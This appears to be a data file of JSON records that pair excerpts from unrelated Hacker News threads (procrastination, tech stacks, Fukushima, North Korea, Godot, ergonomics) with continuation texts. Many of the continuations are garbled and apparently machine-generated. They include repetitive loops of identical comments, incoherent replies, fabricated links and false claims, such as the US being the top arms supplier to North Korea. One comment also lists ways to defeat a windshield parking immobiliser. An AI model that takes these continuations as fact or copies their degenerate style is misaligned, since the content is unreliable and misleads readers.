newsletter.\nIt was live and they created a GoToMeeting for me and the instructor took my\nquestions and paid me plenty of attention. Great free two hours of my time!\n\nGood luck, you CAN do it!\n\n------\npartisan\nI'll do what I can to help you if you are serious about learning. Email me at\npartisanyc at gmail.\n\n------\ncrispytx\nYou can download all the programming books you'll ever need for free with\nbittorrent. Its like Frank Zappa once said, \"If you want to get laid, go to\ncollege. If you want an education, go to the library.\"\n\n------\nlumberjack\nIf I were in your situation, I'd get an entry level job in an unrelated field,\nget a loan and go to college part time.\n\nThere's lots of reasons why you'd want to go to college:\n\n1\\. You want to future proof yourself against ageism. It's much harder without\na degree.\n\n2\\. It's a really good place to find entry level"} +{"output_text": ", and that's ok.\n\n------\nkleiba\nI think it's a good idea to take a look at the things that used to motivate\nyou and see if they still do. If they don't, it might be time to change\ndirection.\n\nBut if they do, well, then you should probably stick with them.\n\n------\nkjaftaedi\nI've found that the best way to fight procrastination is to make time for", "input_text": "on and focus on just a few tasks at a time while\nothers prefer to be a manager for many people, so you don't go as deep\nyourself, but get to have a hand in everything)\n\n\\- What other things can motivate you about your daily work or work\nenvironment? (e.g. a good cafeteria, short commute, flexible hours, etc.)\n\nThe balance of how important each of these aspects are vary from person to\nperson, and for a person over time. For example I was working at a game engine\ncompany and while I loved the vision (that I could help thousands of creative\npeople turn their ideas onto reality) and the colleagues (places with great\nvisions tend to attract really cool people) and while it was initially a fun\nchallenge to get the hang of C++, I eventually got tired of the cruft of a\nlegacy codebase, and probably most importantly, I felt like I was wasting my\nmost productive years realizing someone else's dream instead of building up a\ncompany of my own, like I'd been dreaming of. I was lucky enough to find a co-\nfounder just at the right time, because I also know about myself that I tend\nto get demotivated if I'm not interacting with other people daily.\n\nAnyways, the point is, 'fighting down' procrastination is a necessary skill\nsometimes, but sometimes you also just have to listen to what your\nsubconscious is telling you about what motivates you and find something that\ndoes. It's important every once in a while to look at both if you're going\nsomewhere you want to go, and if the path that you're taking there is one you\ncare to walk on. There's no shame in realizing that something that used to\nmotivate you doesn't anymore"} +{"output_text": " out of the\nway is the most important thing.\n\n------\njuskrey\n> _I 'm not a naysayer, I'm just not sure this is the right way to go about\n> it._\n\nYou are not a naysayer, but you are not a \"growth hacker\", either.\n\nThe former is ok, as long as you are not a \"growth hater\", who hates growth.\n\nThe latter is not ok, as", "input_text": " time as a remote software developer, and what helped me in\nrecent years was to focus on developing self-discipline, which is what pushes\nyou forward in the long term. And yes, self-discipline can be seen as a\ntrainable skill.\n\nI started by forcing myself to wake early and take a cold bath every week day.\nI've found that this habit helps me develop a work routine in the first\nmorning hours. Even without having great productivity, I've found this greatly\nreduces the bad feeling you get from procrastination.\n\nAlmost a year ago, I started forcing myself to do something I used hate (but\nhealthy, especially for someone that sits for most of the day): going to the\ngym and lifting weights 3 times a week. As the time passed, this became an\nhabit which has an amazing impact on my work productivity. This may be because\nI'm following a program where I constantly try to increase the weights, giving\na feeling of progress I don't usually get from daily work (Currently lifting\nabout 4x weight more than when I started). It might not work for you, but this\nis what I'm doing, in case you are interested:\n[https://stronglifts.com/](https://stronglifts.com/)\n\n~~~\nwhilestanding\nCold shower after waking up early sounds like a great way to start the morning\nand improve discipline. I think I'll attempt starting this plus adding a short\nrun after the shower. I'm sure I'll be able to conquer the day easier after\nbreaking through that early resistance. I agree that my self-discipline\ntrainable and improving it is the best solution in the long run. There are a\nlot of things that I need to do but don't want to do, getting that"} +{"output_text": " been using [https://beep-s.org/](https://beep-s.org/) for a while now.\n\n------\njancsika\n> By default beep is not installed with the suid bit set, because that would\n> just be zany.\n\nI don't understand this part of the readme.\n\n~~~\nvoltagex_\nI think it's talking about the default behaviour of the beep command, not\nbeep", "input_text": "\nIt is not the _only_ sane thing to do.\n\nkevent() is another way to handle signals. It puts handling them into the\nprogram's main event loop, which is done synchronously with normal event-\ndispatching mechanisms and so does not have worries about asynchronous signal\nsafety, because with kevent() they are just another type of filter.\n\n~~~\nslrz\nSure, if you're going to use non-portable constructs, there're better\nalternatives to the self-pipe thing. Linux has something roughly similar with\nsignalfd.\n\nThe nice thing about the write-a-byte-to-the-pipe thing is that it works\nvirtually everywhere.\n\n------\npeoplewindow\nFrom the beep readme:\n\n _By default beep is not installed with the suid bit set, because that would\njust be zany. On the other hand, if you do make it suid root, all your\nproblems with beep bailing on ioctl calls will magically vanish, which is\npleasant, and the only reason not to is that any suid program is a potential\nsecurity hole. Conveniently, beep is very short, so auditing it is pretty\nstraightforward._\n\n[https://github.com/johnath/beep](https://github.com/johnath/beep)\n\n~~~\nexikyut\nAnd all this time I've read that and thought \"well at least you're putting it\nout there, just in case - almost for the sake of it\"\n\nHeh\n\n------\nakrasuski1\nAlso see [https://holeybeep.ninja/](https://holeybeep.ninja/)\n\n~~~\nvoltagex_\nI've"} +{"output_text": " party addons like "Backbonex/Vuex".

React/Vue/etc.: Popular frontend frameworks. Most popular among small and mid-sized apps. Most popular among frontend devs. Most popular among frontend devs that don't want to learn a new framework.

What other options do you see?\n======\ntjpnz", "input_text": "\nAsk HN: What tech stack would you choose to bootstrap a side project in 2020? - yagodragon\nI'm a college student trying to choose a language/framework to build some side projects. Other than the classic CS languages(java,python,c/c++), I've learned some JS and Vue.js and now I'm looking into a proper backend language and framework.

After searching online and asking friends I've gathered some feedback on the most popular solutions.

Rails: Proven and mature. 3rd party gems that can help you with anything web-related. The ecosystem is thriving and most developers are happy using it.

Laravel: Made PHP cool again. Took lessons from Rails and probably provides the best Developer Experience when it comes to building a monolith app from development to deployment. PHP is also the most popular backend language.

Django: People love python. I hear that Django Rest Framework is a great tool, plus, the ability to add ml features on your existing app is a big plus.

Node.js: Full-stack Javascript is great but the backend landscape is a mess. Probably a thin backend without complex rails-like structure.

Phoenix/Go/Rust: Good options for specific use cases where performance matters.

Java/C#: Complex and enterprisey. C# is gaining traction but the 3rd party ecosystem is still lacking behind other options.

Backendless: SPAs, Next.js/Nuxt.js/Ember, JAMstack. Use services like Firebase/Auth0 and 3rd"} +{"output_text": "\nsupply.\n\n~~~\nhga\nI'm not saying there's nothing to be learned from the Fukushima story, just\nthat it's not the same emotional impact as the Chernobyl story. And that's\nbecause the risk is much less, and the consequences much less severe.\n\nAnd yes, the radiation levels in the water supply were rising, but they've\ndropped back down again, and the government is taking extraordinary measures\nto protect the public's", "input_text": " to see risks. The\ndeath of one person is a tragedy, the death of a million is a statistic. So\nthe death of tens of thousands due to the tsunami will never register the same\nemotional impact as the picture of one deformed child from Chernobyl.\n\nIt's the same in startup marketing, incidentally. That's why they give people\ntestimonials (stories), help them imagine the benefits, etc. This is sort of\nthe opposite: the media is making it easy to imagine all sorts of horrible\nthings happening due to invisible killer radiation. A few bad things probably\nwill happen. Oh yeah, tens of thousands of people were also buried under a 12m\nwall of water that crushed entire towns, but there's nothing new to say about\nthat.\n\n~~~\nTichy\nWhere I live it is a lot more rational to be worried about radiation than\nabout Tsunamis.\n\nI can't bring the Tsunami victims back alive. What could I possibly learn from\nthe Tsunami story? That it could be dangerous to live too close to the sea,\nthat's about it.\n\nIt's not my fault if the media tries to milk Fukushima for all it's worth\n(they live on fear). Still, the kind of answer you give doesn't help much. If\nthe radiation is just banana level, why do the workers there wear protection\nsuits? I didn't follow the stories too closely, so I suppose you refer to some\nmeasurement somewhere that made it into the news. That's a complete strawman.\n\nWhat I heard is that radiation levels were rising in Tokyo's water supply, but\nnot enough to be dangerous. Still I would consider it newsworthy that an\naccident 200km away that does not seem to be 100% under control affects the"} +{"output_text": ".\n\n~~~\napi\nI don't know about functional jet engines but I know we can build a jet\nengine that will at least run.\n\nI know we can make a functional turbine and I know we can make a functional\nchip. I know we can make a functional medical device. I know we can make a\nfunctional car.\n\nI don't know about China on any of these things but I know we can do it\nbetter than anyone else.\n\n", "input_text": " into a single clearly dysfunctional\ncompany)\n\n~~~\ngreedo\nUS manufacturing has been growing steadily for decades. The US concentrates\nthis in sectors that are high tech, expensive, and profitable. Low margin, low\nprofit manufacturing has been offshored, but manufacturing hasn't been\nstagnant at all.\n\nAs a percentage of GDP, manufacturing has been on a downward trend, but that's\nbecause of the growth of service industry.\n\n[https://www.macrotrends.net/countries/USA/united-\nstates/manu...](https://www.macrotrends.net/countries/USA/united-\nstates/manufacturing-output)\n\n~~~\napi\nGenuinely curious then: where do we actually excel?\n\nThe only examples I can think of right now where we are genuinely number one\nis high priced low volume boutique aerospace (SpaceX and other new space\ncompanies, satellites, experimental military aircraft, electric planes, etc.)\nand of course weapons.\n\nWe can manufacture decent cars, but at least half of this is under the\ndirection and management of overseas companies like Toyota and Nissan. US car\ncompanies have been on the ropes for decades.\n\nWe seem to be losing the bulk of aerospace, generation turbines, electronics,\nchips, medical devices, power equipment, materials,...?\n\nSeeing graphs like this makes me wonder if I am living in the late days of the\nUSSR when I'm sure many optimistic graphs were published by Pravda.\n\n~~~\nmardifoufs\nWhat? Turbines? Materials? Only the US and Europe can actually build\nfunctional jet engines and most of the bleeding edge materials. Even semi\nfunctional jet engines are still a distant dream for China"} +{"output_text": " and strategic implications\nof nuclear weapons.\n\n~~~\nIIAOPSW\nI stand corrected.\n\n------\nm3kw9\nI wonder if Kim Jong-un will be like Saddam and try to sell nuclear to Iran.\n\n~~~\nIIAOPSW\nWhy would he? He's not going to be around much longer.\n\n~~~\nm3kw9\nSaddam was like \u201cI\u2019ll give you the nuclear if you give me the chemical\u201d", "input_text": ". Kim doesn't want to hang from a lamp\npost, and neither do his henchmen. So Kim sued for peace.\n\n~~~\nloxs\nSo we are nominating him for some of the next years' peace Nobel prizes? That\nwould be a fun sight :D\n\n~~~\ncryptonector\nPeace through strength.\n\nThat's not the kind of talk that the Nobel folks like to hear. My guess is\nthey won't give it to DJT.\n\n~~~\nmonocasa\nI mean, Kissinger got a Nobel Peace Prize.\n\n~~~\ncryptonector\nSure, it's possible it will happen.\n\n------\nonetimemanytime\nNK's Kim would be stupid to give them up, see what happened to a guy a named\nSaddam and to another named Muammar. Assad, if not for Russia would have the\nnext one.\n\nHe can slow development down in return for aid...and milk them for decades.\n\n~~~\nIIAOPSW\nI don't know why you're being downvoted. Obviously everyone wants peace but\nrealistically doing what you said is the rational thing for NK to do and there\nis tons of historical precedent. The only state to ever denuclearize and not\nregret it is South Africa.\n\n~~~\nbloak\nBut is today's South Africa the same thing as the previous South Africa which\nhad nuclear weapons? Are the people who authorised and developed South\nAfrica's nuclear weapons still living in that part of the world?\n\n~~~\nneuro_imager\nSouth Africa didn't 'denuclearise' in the sense of giving up arms.\n\nThey had a change to a completely incompetent government who wouldn't know how\nto spell 'nuclear' let alone fathom the scientific"} +{"output_text": "they claim they are doing something to reduce carbon emissions, but in reality\nare just shifting the carbon from one place to another.\n\n~~~\njelliclesfarm\nI think this is a good thing.\n\nI think we should be thinking about carbon removal as a goal. I think we need\nto be thinking about it as a goal for our children.\n\n~~~\njelliclesfarm\nI am not sure why this is being downvoted.\n\n", "input_text": " a\ncompany is removing more carbon than it emits each year. While we at Microsoft\nhave worked hard to be \u201ccarbon neutral\u201d since 2012, our recent work has led us\nto conclude that this is an area where we\u2019re far better served by humility\nthan pride. And we believe this is true not only for ourselves, but for every\nbusiness and organization on the planet.\n\n>Like most carbon-neutral companies, Microsoft has achieved carbon neutrality\nprimarily by investing in offsets that primarily avoid emissions instead of\nremoving carbon that has already been emitted. That\u2019s why we\u2019re shifting our\nfocus. In short, neutral is not enough to address the world\u2019s needs.\n\n>While it is imperative that we continue to avoid emissions, and these\ninvestments remain important, we see an acute need to begin removing carbon\nfrom the atmosphere, which we believe we can help catalyze through our\ninvestments.\n\n> Solving our planet\u2019s carbon issues will require technology that does not\n> exist today. That\u2019s why a significant part of our endeavor involves putting\n> Microsoft\u2019s balance sheet to work to stimulate and accelerate the\n> development of carbon removal technology. Our new Climate Innovation Fund\n> will commit to invest $1 billion over the next four years into new\n> technologies and expand access to capital around the world to people working\n> to solve this problem. We understand that this is just a fraction of the\n> investment needed, but our hope is that it spurs more governments and\n> companies to invest in new ways as well.\n\nThis is one of the most exciting and potentially impactfull announcements. My\nbiggest issue with companies that make a big deal about being \"carbon neutral\"\nand \"carbon offsets\" is that many times it is \"voodoo accounting\" in which\n"} +{"output_text": "Through-Creative-\nBattles/dp/0143022714)\n\n------\nkleiba\nI'm in a similar situation as you. I've been working on my own project for the\nlast few years, but I'm not really enjoying it. I'm not even sure if it's\nworth it, but I can't seem to get myself motivated to work on it.\n\nI've been reading a lot of books on the topic of \"getting yourself", "input_text": "estones. I set a schedule with milestones that\nshould help me reach goals on time. The sooner I feel behind, the sooner I\npush through my procrastination.\n\n------\njarym\nJust gonna throw my two pence into this...\n\nI've always found that if I couldn't motivate myself to do something then I\nprobably do not want to do it on some level and should be doing something\nelse.\n\nIf that could be you then one solution is to take a break from work and try\nfigure out what you'd rather be doing. You'll know because you'll feel drawn\nto it.\n\n------\nkeypress\nYou aren't alone. I'm far better at helping others than myself. Freelancing I\nfind tricky. I've had good management in the past alongside a team that knows\nhow to play to my strengths and keep down my weaknesses. So don't discount\nworking in a unit. Stroking my own ego, and trying to reward myself is useless\nfor me.\n\n------\nquadcore\nI think you've not yet found what you love. Try new things and wait until you\nthink about these naturally in the shower. You should force yourself to assume\nyou dont know who you are. It could be surprising. Maybe you should be, say, a\nhair stylist. Maybe you would dramatically love that. Finding what I love to\ndo worked for me.\n\n------\ngadders\nThe War of Art [1] has some good advice on overcoming \"resistance\", the force\nthat stops people from doing what they need to do.\n\n[1] [https://www.amazon.co.uk/War-Art-Through-Creative-\nBattles/dp...](https://www.amazon.co.uk/War-Art-"} +{"output_text": "com.\n\n------\njokoon\nI wonder if the US is still using nuclear weapons. I read somewhere that the\nUS has a lot of nukes left, but that they are not used anymore.\n\n~~~\njokoon\nI guess it's because nukes are more easily stolen, and the US is known to\nsteal other countries nukes.\n\n------\njokoon\nI wonder if the US is still using nuclear weapons. I read somewhere", "input_text": " an engaging\nwriting style that makes it a good read.\n\nIf you prefer to watch your history, PBS\u2019 _American Experience_ documentary\nseries did an episode based on Blum\u2019s book (see\n[http://www.pbs.org/wgbh/americanexperience/films/poisoners](http://www.pbs.org/wgbh/americanexperience/films/poisoners)\n); it can be streamed via a bunch of different video services.\n\n~~~\nth0ma5\nWe still poison alcohol not only for prohibition reasons but also tax reasons.\n\n~~~\ntialaramex\nIn the EU at least the denatured alcohols sold to the general public (e.g. as\ncleaning products) don't have enough actual poison in them to cause much\ndamage.\n\nThe main thing they shove in there to stop you drinking it is denatonium\nbenzoate (\"bitrex\"), which will make you _regret_ putting it in your mouth,\nbut won't kill you because you'll immediately want to spit it out instead. The\nother ingredients are mostly to stop you trying to get the bitrex back out and\nthen selling it as bootleg booze (thus evading the tax).\n\n~~~\njmkni\nI think Nintendo coat Switch cartridges with the same thing, to prevent kids\nfrom putting the tiny cartridges in their mouth.\n\n------\nrootsudo\nIf you go to the Wikipedia Article for Radium Girls:\n[https://en.wikipedia.org/wiki/Radium_Girls](https://en.wikipedia.org/wiki/Radium_Girls)\n\\- You'd see it's an exact mirror of much of the text that's _re_ posted on\ntheatlantic."} +{"output_text": " dollars.\n\n~~~\njoe_the_user\nReminds me of a story about a guy who drilled a hole in the windshield of his\ncar and then used a magnet to hold the glass in place.\n\n[https://www.youtube.com/watch?v=9gk-\nk0gkz8A](https://www.youtube.com/watch?v=9gk-k0gkz8A)\n", "input_text": " is how tow\ntrucks disengage the clutch and/or the parking brake... am I to understand\nthat they simply don\u2019t? So if I park my manual transmission car in reverse and\nwith the parking brake on, they\u2019re just going to literally drag my car to\ntheir lot or destroy my gearbox? How is this not a bigger issue?\n\n~~~\nsojournerc\nDepends on the car and where it's drive wheels are. Also I think tow drivers\nare authorized to use a tool to break in to the car (non destructively) to put\nit in neutral if necessary.\n\n~~~\njimktrains2\nAside: if you ever notice a teeny tiny panel that has a dimple or hole to open\nit with by the shifter, that's the release for the interlock that prevents\nchanging gears without the keys. That's how you get in neutral when the owner\nisn't present.\n\n------\nnimbius\nWhen I first saw these touted a few years ago I'd imagined they would be\nfairly trivial to bypass.\n\n\\- light oil or penetrating oil can be used to bypass the gasket. If it will\nremove decals or stickers, this thing doesnt stand a chance.\n\n\\- exploiting the coefficient of expansion for gasses (as these brilliant\nstudents did) is absolutely an option.\n\n\\- keeping your windshield wipers up would prevent use of the device.\n\n\\- running some 4lb test fishing line taped against your windshield would\nallow, once placed, the gasket to be defeated by just lifting up on it.\n\nand as always, remember, manufacturers are bound to use a specific set of\nlocks and bolts. Torx security are inexpensive and a barrel lock impression\ntool is about ten"} +{"output_text": "otryas\nI'm not sure why this is on the front page. It's a pretty generic example of\nusing an OAuth.io API key to connect to a Facebook API.\n\n~~~\njlogsdon\nIt's not generic. It's a tutorial on how to use the API keys that Facebook\nreleased last week.\n\n~~~\nlobotryas\nOh, I stand corrected. I was thinking of the example I was thinking of when I\nwrote the", "input_text": "thyb\nyes it's maybe more a kind of ASK HN if this API could interest people as we\nare finalizing it\n\n~~~\nyuliyp\nAh, cool. I'm kind of interested in how you work on the security aspects of it\n(will you give guidance on how to configure your client info for the various\nAPIs (what do I fill in for all of the different URIs in my Facebook app\nconfig?), as well as more complicated scenarios (storing tokens in DB,\nassociating tokens to accounts, etc.)\n\n------\nspicyj\nThe most confusing thing to me about this page was the changing provider\nnames. I was looking at the page and could tell that something was changing\nbut it took me about 15 seconds to figure out what it was.\n\n~~~\nenjo\nHah.. I actually read this comment first and I was STILL just staring at my\nscreen completely dumfounded. I'd see the little animation on the right\nupdate, and then something else would change. It was mystifying.\n\n~~~\njsmeaton\nMade it really hard for me to focus on the content. I know exactly what was\nchanging, and it wasn't that much, but it took a really long time (in\ncomparison) to read the examples.\n\n~~~\nthyb\nAlright, listening to your feedback it seems the animation was too much of a\ndistraction, so we removed it. Thank you for your feedback!\n\n------\nams6110\n_1\\. Setup your Facebook API Keys in OAuth.io_\n\nlost me.\n\n~~~\njlogsdon\nThat's 1 out of 50+ examples. Facebook is easily the most commonly\nimplemented, so why would they not make that the default example?\n\n------\nlob"} +{"output_text": " X, and X was started before Alphabet had X.\n\n------\njokoon\nI hope it will be more open, and that the privacy will be respected. I don't\nwant to be tracked for advertising.\n\n------\njokoon\nI hope it will be more open, and that the privacy will be respected. I don't\nwant to be tracked for advertising.\n\n------\njokoon\nI hope it will be more open, and that", "input_text": " killed my\ninterest in it's first incarnation.\n\n~~~\nTeMPOraL\nThe problem is - most of the cool and useful personal applications of glass\nfly in the face of various social expectations. The very idea you could be\nrecording someone caused a backlash the last time, and that's nowhere near\ndoing facial recognition...\n\n~~~\neterm\nIs facial recognition creepier than recording?\n\nIf it's done in real-time, i.e. the scanned images aren't saved then surely a\n\"This is person you've met and tagged as X\" is less creepy than actually\nvideoing someone? You wouldn't get any information you haven't yourself added\nto the device (although it would probably need to lean on external data-sets\nfor the training).\n\nI wouldn't suggest facial recognition should recognise anyone you haven't met\nyet, I think that would be a bit weird (although I think it is the future\nanyway), but a way to effectively add a tag on someone you know would be\ngreat. Most people can do this without the technology to varying levels of\naccuracy and and breadth of their acquaintances.\n\n~~~\nTeMPOraL\nI think it is creepier by definition, through the very fact that the other\nperson can't verify you aren't recording. A camera is a camera. Even if the\nproduct officially doesn't record anything, who's to say I didn't mod my\nglasses' firmware to dump the video buffer? Not to mention that once video\nstream goes into cloud, you lose control over what happens to it.\n\n------\ndragonwriter\nHeadline is neither source headline not technically accurate; while X started\nlife as Google X before the Alphabet reorg, it's a separate subsidiary of\nAlphabet from"} +{"output_text": ".\n\n~~~\npjmlp\nI came from FreePascal, Turbo Pascal, C and Assembly, and I can't even\nunderstand the basics of Godot's programming model.\n\n~~~\ngouh\nI'm coming from C and C++ and Godot is a dream to work with.\n\n~~~\npjmlp\nThen you should try Godot, please.\n\n[https://github.com/godotengine/g", "input_text": " portable. Also, they\nuse their own shader script rather than GLSL, which means your shaders aren't\nportable either.\n\nGodot can support different languages (unlike Unity or Game Maker), but IIRC\nthat requires recompiling the engine and may break the editor.\n\n~~~\nluladjiev\nfrom Godot's documentation:\n\n>Finally, one of our brightest additions for the 3.0 release: GDNative allows\nscripting in C++ without needing to recompile (or even restart) Godot.\n\n[https://docs.godotengine.org/en/3.1/getting_started/step_by_...](https://docs.godotengine.org/en/3.1/getting_started/step_by_step/scripting.html#gdnative-c)\n\n~~~\npjmlp\nGiven that Unreal only now added such support via [https://molecular-\nmatters.com/products_livepp.html](https://molecular-\nmatters.com/products_livepp.html) partnership, I wonder how Godot is actually\ndoing it.\n\n------\nPinkMilkshake\nNice one! Such a great project.\n\nEvery time I go and have a play with Godot my mind is blown that the whole\nprogram is a single ~45MB executable.\n\n------\npkalinowski\nGodot approach to game development with nodes is superior to other solutions\nIMO.\n\nI think the biggest blocker for wider adoption is 3D performance and Inverse\nKinematics now. Without it, nobody will ever produce high profile game on\nGodot.\n\n~~~\ngouh\nYes, if you come from Unity like me you will find Godot amazingly intuitive"} +{"output_text": "decks/responsive/)\n\nGithub Pages for Startups\n[http://johnpolacek.github.com/startuphub/startuphub.html](http://johnpolacek.github.com/startuphub/startuphub.html)\n\n~~~\njazzychad\nThanks for the kind words! I'm actually working on a couple more projects\nright now, but I'll stop by your blog and let you know if I think they", "input_text": "\nLet\u2019s hope those puncture proof lithium ion batteries increase their\nreliability.\n\n------\nzigzaggy\nShouldn't we skip directly to wireless charging?\n\n~~~\ndexen\nAside of the excellent points raised by _leetcrew_ in sibling post, there's\nalso the matter of avoiding spurious EM emissions.\n\nWireless charging sounds like creating a bright, pulsating \"soldiers be hiding\nhere\" beacon for any opposing force.\n\n~~~\nmusingsole\nIt also had me imagine a far future scenario where soldiers get too close to\nan enemy and accidentally recharge the enemy's depleted railgun.\n\n~~~\ndexen\nAmusing scenario however don't expect it to be a significant risk - any\nwireless system would most probably perform negotiations before beaming out\nany significant amount of power. You want that to avoid damaging sensitive\nelectronics, overheating a random chunk of metal, or plainly wasting energy.\n\nEven the good old Qi wireless charging standard does negotiations, tho those\naren't secured by any means.\n\n \nAll of my side-projects from 2012 - jazzychad\nhttp://blog.jazzychad.net/2012/12/31/year-in-review-side-projects.html\n======\njohnpolacek\nJeez, I thought I had a lot of side projects, but I think you have me beat.\nYou've inspired me to make my own list:\n\nScrollorama \n\nWhat The Heck Is Responsive Web Design\n[http://johnpolacek.github.com/scrolldeck.js/decks/responsive...](http://johnpolacek.github.com/scrolldeck.js/"} +{"output_text": " up.\n\nI also use a wrist pad. I have tried a bunch of different ones and the one I\nam currently using is the best. It is not too firm, it does not dig in and it\nis not too squishy. It is just right.\n\nI also use a ergonomic mouse. I have tried a bunch of different mice and the\none I am currently using is the best. It has a large and well-placed click\nbutton, it", "input_text": ", but I found that it is too big for my hand and have to stretch my\npinky finger to reach the modifier keys all the time, which made my hand sore\nafter just a few hours. I then switch to another quality keyboard: the Apple\nMagic keyboard and really happy about it since it have a lot less key travel.\nReally good keyboard except the weird directional key layout that need to get\nused to.\n\n------\nlaurieg\nFrequent breaks and regular exercise.\n\nI realise this isn't really 'ergonomics' but they help so much I have to\nrecommend them. The body is not designed to sit for hours on end.\n\n------\nmadmod\nAs someone who first had carpal tunnel symptoms at the age of eight I have\nspent a fair amount of time on this problem.\n\nCheck the temperature of your working environment. Cold joints can be the\ncause of or exacerbate various issues. Wearing gloves may help if you can\u2019t\ncontrol the climate. A personal heater can be another good option, but make\nsure the heat is indirect (pointed at a wall for example) to avoid other\nissues from prolonged exposure.\n\nI use a keyboard arm with negative incline positioned at a height so that my\nelbows are at 90\u00b0 and my wrists point slightly downward. (Height of the keys\nrelative to the wrist rest should be as close to equal as possible.) This is\nthe opposite of what most people do with the terrible kickstands that come\nwith keyboards. I find that the more negative incline I can get the better. My\ncurrent setup allows for 20-30\u00b0 Of downward wrist incline. A typical keyboard\ntray or palm rest will not do this, as the height from the desktop must be\nadjustable and it must hold the keyboard"} +{"output_text": " empty forest. I've also seen the empty\nforest in the backcountry and I've seen the vibrant economy that results from\nan empty forest. I've also seen the empty forest in cities and I've seen the\nvibrant economy that results from an empty city.\n\nI suspect the same thing happens in the cities and the backcountry. I suspect\nthe empty city and the empty backcountry have very different economies.\n\nI suspect the empty city is a lot like", "input_text": " going to even remotely think\n\"Oh, this is such a wonderful place for pedestrians\" :-) Of course, Manhattan\nis very densely populated but auto/truck traffic is pretty horrible for large\nparts of the day in many areas.\n\nManhattan taxis are readily hail-able on the street. And they're supplemented\nby both Uber/Lyft and private car services. So, as a city, it's probably the\ndefinition of well-served by third-party cars and it's very much a part of the\ncity's fabric. Just good luck getting either a cab or Uber (at a reasonable\nrate) if it's pouring rain.\n\nMaybe $10 should be $15 but who knows about vehicle costs in some hypothetical\nfuture or what human support would be needed. My basic point was that, to a\nfirst approximation, we already have what amount to self-driving cars within\nlarger and denser cities.\n\n------\nmpweiher\nThis report is false. While Hamburg does plan for a \"Green Network\", there are\nno plans to ban cars or become \"car free\".\n\nOfficial statement from the city of Hamburg (in German):\n[http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bs...](http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bsu-keine-autofreie-stadt/)\n\n------\nCalRobert\nWe didn't seem to have any trouble banishing people from the streets, so I\nhardly see the problem.\n\n~~~\nVLM\nAdding to that insight, I've gone hiking in the backcountry and I've seen the\nvibrant economy that results from an"} +{"output_text": "tails\n\n4\\. I want to be able to find recipes online\n\n5\\. I want to be able to make a grocery list and have it delivered to me when\nI'm running errands\n\n6\\. I want to be able to track my finances online (I know I could use mint.com\nbut it's clunky)\n\n7\\. I want to be able to track my exercise (I have a fitbit)\n\n8\\. I want to be", "input_text": " it\ntoo complex the way the reporting comes out?\n\n~~~\nbartonfink\nI don't know the scope of Colin's cron problems, but filtering out mail in\nthis case seems like a less preferable solution than simplifying the way cron\ndoes email to begin with. Filtering e-mail in this case is like putting your\nfingers in your ears when you walk by a loud stereo you've left on instead of\njust turning it off. As a developer, cron doesn't give me a lot of control\nover where e-mail is sent unless I jump through hoops to give myself that\ncontrol. Ignoring the complexity of the reports, and the fact that filters\nlike that don't easily scale across different recipients, the fact is that\ncron's e-mail capability is extremely coarse-grained. For every run of every\njob, the entire output is e-mailed out to the address specified in the\ncrontab. This gets very unwieldy.\n\nI've had to write cron table entries with a blank mail recipient in the\ncrontab itself, and handle the specific mailing cases in the job script. This\nsucks. I'm not sure I think the solution is something that reads cron-mail and\nautomatically generates filters, but I would very much like it if cron\nsupported e-mail lists based on return codes or something else like that.\n\n------\ncallmeed\n1\\. I want to finish my CS bachelors degree online from somewhere reputable\n\n2\\. I want an \"Uber for babysitters\" (yes I know of sitter city and the like,\nnot impressed)... we are very last-minute and spontaneous so our regular\nsitters aren't always available.\n\n3\\. I often want to try making new/different cock"} +{"output_text": " and he knows that.\n\n~~~\nyahyaheee\n> NK is seriously weak here and he knows that.\n\nWhy?\n\n~~~\nhangonhn\nThe last time I checked, the US was the #1 supplier of arms to NK.\n\n~~~\nyahyaheee\nThe US is the #1 supplier of arms to NK because the US is the #1 supplier of\narms to _everyone_.\n\n~~~\nhangonhn", "input_text": " demonstration (to my ears) of where that came from. It's\npossible perhaps that Xi Jinping whispered wonderful ideas and/or threats in\nKim Jong-un's ear when he visited, but that's opaque to us and media I've read\nseems to be ignorant of such potential influence. If Kim were so serious, we\nshould need him to demonstrate that credibly to us, through actions that are\ncostly for him to take: in particular, pitching this change of vision directly\nand passionately to the populace of North Korea.\n\nKim Jong-un wants to get out from under the chokehold of heavy trade\nsanctions. He wants to be legitimized in the international community as the\nleader of a real nation. He wants to modernize both his military and his\nnation and his personal life. He probably dreams of visiting Paris and\nManhattan.\n\nIt is my belief that he will be able to get these things -- without giving up\nnuclear weapons, missiles, nor giving up his political or military power over\nNorth Korea. From Kim's perspective, democratic politicians are weak and\nmanipulable, and he will find it to be especially true right now.\n\n(edit: s/telescoped/telegraphed/ \\-- thanks!)\n\n~~~\nhangonhn\nThat he's been able to do this with South Korea alone without the US at the\ntable tells you how strong of a hand he has and how weak our hand is.\n\nI think this is a ploy to do two things: 1\\. Economic growth for North Korea,\nwhich has been happened to some extend already. 2\\. Get the US out of the\nKorean Peninsula.\n\nA strong economy will allow NK to develop or buy all sorts of updated\nconventional arms. NK is seriously weak here"} +{"output_text": "_Employment_Report)\n\n------\njelliclesfarm\nI wonder if this is a precursor to a future where employers can see you\nscrolling HN for a job change?\n\n~~~\njelliclesfarm\nI mean, it could be a precursor to a future where employers see you reading\nHN for a job change.\n\n------\njelliclesfarm\nI wonder if employers can see if you're looking for a job on HN?\n", "input_text": "crime.\n\nIn the ideal case, if the suspect is actually guilty, they save the\nprosecutors office time and money in actually preparing the case for trial,\nand the defendant gets a lesser punishment and doesn't spend their money on a\ntrial defense either.\n\nIn the less ideal case, say if the suspect is actually innocent but is not\nbelieved or can't prove it easily, the suspects are put in a tough position -\nplead guilty to something they didn't do, or a long and expensive trial with\nuncertain outcome. It gets particularly dubious when the prosecutors try to\ntilt the scales towards the plea side by threatening to go for the max\npunishment on the most serious crime they could possibly charge if the suspect\nchooses a trial. It sounds like this could be a case where this threat was\ncarried out and the prosecutor is going for a knowingly over the top\npunishment to punish them for daring to not take a guilty plea.\n\n------\njlgaddis\n> _Ahu Yildirmaz, an economist who helps lead the research arm of the payroll-\n> processing company ADP, said her firm\u2019s data showed more people switching\n> jobs, and getting bigger bumps in pay for doing so._\n\nSo... if I work for a company who uses ADP for payroll, ADP is tracking\nif/when I change jobs and how much my salary is over time?\n\nI wonder what else they're doing with my private information.\n\n~~~\nRhodesianHunter\nThe ADP employment report is eagerly watched by economists and traders and\ngoes back decades.\n\n[https://en.m.wikipedia.org/wiki/ADP_National_Employment_Repo...](https://en.m.wikipedia.org/wiki/ADP_National"} +{"output_text": "\n\n~~~\ndigi_owl\nThe big thing for 